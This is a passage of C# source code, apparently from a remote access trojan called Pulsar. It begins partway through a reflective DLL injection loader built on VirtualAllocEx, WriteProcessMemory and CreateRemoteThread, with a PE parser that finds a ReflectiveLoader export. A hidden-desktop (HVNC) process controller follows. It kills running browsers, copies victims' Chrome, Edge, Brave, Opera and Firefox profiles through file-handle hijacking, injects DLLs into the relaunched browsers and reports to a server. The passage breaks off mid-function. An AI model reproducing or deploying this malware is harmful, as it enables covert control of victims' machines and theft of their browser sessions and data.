if (reflectiveLoaderOffset == 0)
{
Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL");
return IntPtr.Zero;
}
IntPtr lpRemoteLibraryBuffer = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)buffer.Length,
AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT,
MemoryProtection.PAGE_EXECUTE_READWRITE);
if (lpRemoteLibraryBuffer == IntPtr.Zero)
{
Debug.WriteLine("[-] Failed to allocate memory in remote process");
return IntPtr.Zero;
}
IntPtr bytesWritten;
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten))
{
Debug.WriteLine("[-] Failed to write DLL to remote process");
return IntPtr.Zero;
}
IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset);
IntPtr threadId;
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
1024 * 1024,
lpReflectiveLoader,
IntPtr.Zero,
0,
out threadId);
return hThread;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}");
return IntPtr.Zero;
}
}
}
/// <summary>
/// Parses PE (Portable Executable) file format
/// </summary>
internal static class PEParser
{
#region PE Structures
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER32
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER64
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
}
private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b;
private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b;
#endregion PE Structures
public static uint GetReflectiveLoaderOffset(byte[] buffer)
{
try
{
int baseAddress = 0;
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset);
if (signature != 0x00004550) // "PE\0\0"
return 0;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER));
ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset);
uint exportDirRva;
if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
{
if (IntPtr.Size != 4)
return 0;
IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER32>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
{
if (IntPtr.Size != 8)
return 0;
IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER64>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else
{
return 0;
}
if (exportDirRva == 0)
return 0;
uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress);
if (exportDirOffset == 0)
return 0;
IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure<IMAGE_EXPORT_DIRECTORY>(buffer, (int)exportDirOffset);
uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress);
uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress);
uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress);
for (uint i = 0; i < exportDir.NumberOfNames; i++)
{
uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4));
uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress);
string functionName = ReadNullTerminatedString(buffer, (int)nameOffset);
if (functionName.Contains("ReflectiveLoader"))
{
ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2));
uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4));
return Rva2Offset(functionRva, buffer, baseAddress);
}
}
}
catch
{
return 0;
}
return 0;
}
private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress)
{
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader;
IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset);
if (dwRva < firstSection.PointerToRawData)
return dwRva;
for (int i = 0; i < fileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER section = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData)
{
return dwRva - section.VirtualAddress + section.PointerToRawData;
}
}
return 0;
}
private static T ByteArrayToStructure<T>(byte[] bytes, int offset) where T : struct
{
int size = Marshal.SizeOf(typeof(T));
IntPtr ptr = Marshal.AllocHGlobal(size);
try
{
Marshal.Copy(bytes, offset, ptr, size);
return (T)Marshal.PtrToStructure(ptr, typeof(T));
}
finally
{
Marshal.FreeHGlobal(ptr);
}
}
private static string ReadNullTerminatedString(byte[] buffer, int offset)
{
int length = 0;
while (offset + length < buffer.Length && buffer[offset + length] != 0)
{
length++;
}
return Encoding.ASCII.GetString(buffer, offset, length);
}
}
}
@@ -0,0 +1,870 @@
using Microsoft.Win32;
using Pulsar.Client.Helper.HVNC.Chromium;
using Pulsar.Client.LoggingAPI;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC
{
public class ProcessController
{
public ProcessController(string DesktopName)
{
this.DesktopName = DesktopName;
}
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint WAIT_OBJECT_0 = 0x00000000;
private const uint WAIT_TIMEOUT = 0x00000102;
private const uint INFINITE = 0xFFFFFFFF;
private const int STARTF_USEPOSITION = 0x00000004;
private readonly struct CloneResult
{
public CloneResult(bool success, bool cancelled, string destination)
{
Success = success;
Cancelled = cancelled;
Destination = destination ?? string.Empty;
}
public bool Success { get; }
public bool Cancelled { get; }
public string Destination { get; }
}
private static bool DeleteFolder(string folderPath)
{
bool result;
try
{
if (Directory.Exists(folderPath))
{
Directory.Delete(folderPath, true);
result = true;
}
else
{
Debug.WriteLine("Folder does not exist.");
result = false;
}
}
catch (Exception ex)
{
Debug.WriteLine("Error deleting folder: " + ex.Message);
result = false;
}
return result;
}
private void CleanupCancelledClone(string destinationDir)
{
if (string.IsNullOrWhiteSpace(destinationDir))
{
return;
}
try
{
if (Directory.Exists(destinationDir))
{
Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'");
DeleteFolder(destinationDir);
}
}
catch (Exception cleanupEx)
{
Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}");
}
}
public void StartCmd()
{
string path = "conhost cmd.exe";
this.CreateProc(path);
}
public void StartPowershell()
{
string path = "conhost powershell.exe";
this.CreateProc(path);
}
public void StartGeneric(string path)
{
string command = "conhost " + path;
this.CreateProc(command);
}
public async Task StartFirefoxAsync()
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
bool cloneSucceeded = false;
bool cloneCancelled = false;
try
{
string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox");
if (!Directory.Exists(basePath))
{
Debug.WriteLine("Firefox base directory not found.");
return;
}
string sourceDir = Path.Combine(basePath, "Profiles");
if (!Directory.Exists(sourceDir))
{
Debug.WriteLine("Firefox profiles directory not found.");
return;
}
string destination = Path.Combine(basePath, "fudasf");
if (Directory.Exists(destination))
{
DeleteFolder(destination);
}
progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
try
{
cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false);
}
catch (OperationCanceledException)
{
cloneCancelled = true;
CleanupCancelledClone(destination);
}
if (cloneCancelled)
{
Debug.WriteLine("Firefox profile cloning cancelled by user skipping launch.");
}
else if (cloneSucceeded)
{
Debug.WriteLine("Firefox profile cloned successfully.");
}
else
{
Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked.");
}
bool completedSuccessfully = cloneSucceeded && !cloneCancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
if (cloneCancelled)
{
return;
}
string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\"";
CreateProc(startCommand);
}
catch (OperationCanceledException)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
cloneCancelled = true;
Debug.WriteLine("Firefox profile cloning cancelled by user.");
}
catch (Exception ex)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
Debug.WriteLine("Error starting Firefox: " + ex.Message);
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
public async Task StartBraveAsync(byte[] dllbytes)
{
try
{
var braveConfig = BrowserConfiguration.GetConfig("Brave");
if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig))
{
Debug.WriteLine("Brave executable not found.");
return;
}
Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Brave profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Brave started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Brave profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Brave: " + ex.Message);
}
}
public async Task StartOperaAsync(byte[] dllbytes)
{
try
{
var operaConfig = BrowserConfiguration.GetConfig("Opera");
if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig))
{
Debug.WriteLine("Opera executable not found.");
return;
}
Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Opera profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("Opera started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"Opera patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start Opera process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Opera profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Opera: " + ex.Message);
}
}
public async Task StartOperaGXAsync(byte[] dllbytes)
{
try
{
var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX");
if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig))
{
Debug.WriteLine("OperaGX executable not found.");
return;
}
Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("OperaGX started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start OperaGX process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting OperaGX: " + ex.Message);
}
}
public async Task StartEdgeAsync(byte[] dllbytes)
{
try
{
var edgeConfig = BrowserConfiguration.GetConfig("Edge");
if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig))
{
Debug.WriteLine("Edge executable not found.");
return;
}
Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Edge profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Edge started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Edge profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Edge: " + ex.Message);
}
}
public async Task StartChromeAsync(byte[] dllbytes)
{
try
{
var chromeConfig = BrowserConfiguration.GetChromeConfig();
if (chromeConfig == null)
{
UniversalDebugLogger.SendLogToServer("Chrome executable not found.");
return;
}
UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message);
}
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
/// <summary>
/// Generic method to start any browser by type with reflective DLL injection.
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, Opera, OperaGX)</param>
/// <param name="dllbytes">DLL bytes to inject</param>
public async Task StartBrowserAsync(string browserType, byte[] dllbytes)
{
try
{
if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase))
{
await StartChromeAsync(dllbytes).ConfigureAwait(false);
return;
}
var config = BrowserConfiguration.GetConfig(browserType);
if (config == null || !BrowserConfiguration.ValidateConfig(config))
{
Debug.WriteLine($"{browserType} executable not found.");
return;
}
Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}");
string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower();
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
Debug.WriteLine($"Waiting for {browserType} processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
Debug.WriteLine("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine($"{browserType} started successfully with reflective DLL injection.");
if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) ||
browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase))
{
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}");
}
});
}
}
else
{
Debug.WriteLine($"Failed to start {browserType} process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting {browserType}: {ex.Message}");
}
}
public bool CreateProc(string filePath)
{
STARTUPINFO structure = default(STARTUPINFO);
structure.cb = Marshal.SizeOf<STARTUPINFO>(structure);
structure.lpDesktop = this.DesktopName;
// try setting position to 0,0
structure.dwX = 0;
structure.dwY = 0;
structure.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION);
return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION);
}
public void StartDiscord()
{
string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe";
if (!File.Exists(discordPath)) return;
string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F";
this.CreateProc(killCommand);
Thread.Sleep(1000);
string startCommand = "\"" + discordPath + "\" --processStart Discord.exe";
this.CreateProc(startCommand);
}
public void StartExplorer()
{
uint num = 2U;
string name = "TaskbarGlomLevel";
string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true))
{
if (registryKey != null)
{
object value = registryKey.GetValue(name);
if (value is uint)
{
uint num2 = (uint)value;
if (num2 != num)
{
registryKey.SetValue(name, num, RegistryValueKind.DWord);
}
}
}
}
string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck";
this.CreateProc(explorerPath);
}
/// <summary>
/// Clones browser profile from SearchPattern to ReplacementPath.
/// Executes on a background thread to avoid blocking message processing.
/// </summary>
/// <param name="searchPattern">Relative path pattern (e.g., "Local\Google\Chrome\User Data")</param>
/// <param name="replacementPath">Relative path for destination (e.g., "Local\Google\Chrome\KDOT")</param>
private async Task<CloneResult> CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null)
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
CloneResult cloneResult = default;
try
{
progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
cloneResult = await Task.Run(() => CloneBrowserProfileInternal(
searchPattern,
replacementPath,
cancellationToken,
progressSession?.Progress)).ConfigureAwait(false);
bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
return cloneResult;
}
catch
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
throw;
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
private CloneResult CloneBrowserProfileInternal(
string searchPattern,
string replacementPath,
CancellationToken cancellationToken,
IProgress<BrowserCloneProgress> progress)
{
string localSearch = searchPattern;
string localReplacement = replacementPath;
string baseDir;
if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
localSearch = localSearch.Substring(6);
localReplacement = localReplacement.Substring(6);
}
else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
localSearch = localSearch.Substring(8);
localReplacement = localReplacement.Substring(8);
}
else
{
Debug.WriteLine($"Invalid search pattern format: {localSearch}");
return new CloneResult(false, false, string.Empty);
}
string sourceDir = Path.Combine(baseDir, localSearch);
string destDir = Path.Combine(baseDir, localReplacement);
try
{
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'");
if (!Directory.Exists(sourceDir))
{
UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}");
return new CloneResult(false, false, destDir);
}
if (Directory.Exists(destDir))
{
UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}");
DeleteFolder(destDir);
}
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files...");
bool success = HandleHijacker.ForceCopyDirectory(
sourceDir,
destDir,
killIfFailed: false,
progress,
cancellationToken);
if (success)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking.");
}
else
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped.");
}
return new CloneResult(success, false, destDir);
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user.");
CleanupCancelledClone(destDir);
return new CloneResult(false, true, destDir);
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}");
CleanupCancelledClone(destDir);
throw;
}
}
/// <summary>
/// Waits for a process to complete with a timeout
/// </summary>
/// <param name="processInfo">Process information structure</param>
/// <param name="timeoutMs">Timeout in milliseconds (default 5000ms)</param>
/// <returns>True if process completed within timeout, false otherwise</returns>
private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000)
{
try
{
if (processInfo.hProcess == IntPtr.Zero)
return false;
uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs);
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
return result == WAIT_OBJECT_0;
}
catch (Exception ex)
{
Debug.WriteLine($"Error waiting for process: {ex.Message}");
return false;
}
}
public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath)
{
try
{
if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath))
{
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}");
return;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser.");
return;
}
UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}");
UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}");
string processName = Path.GetFileNameWithoutExtension(browserPath);
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
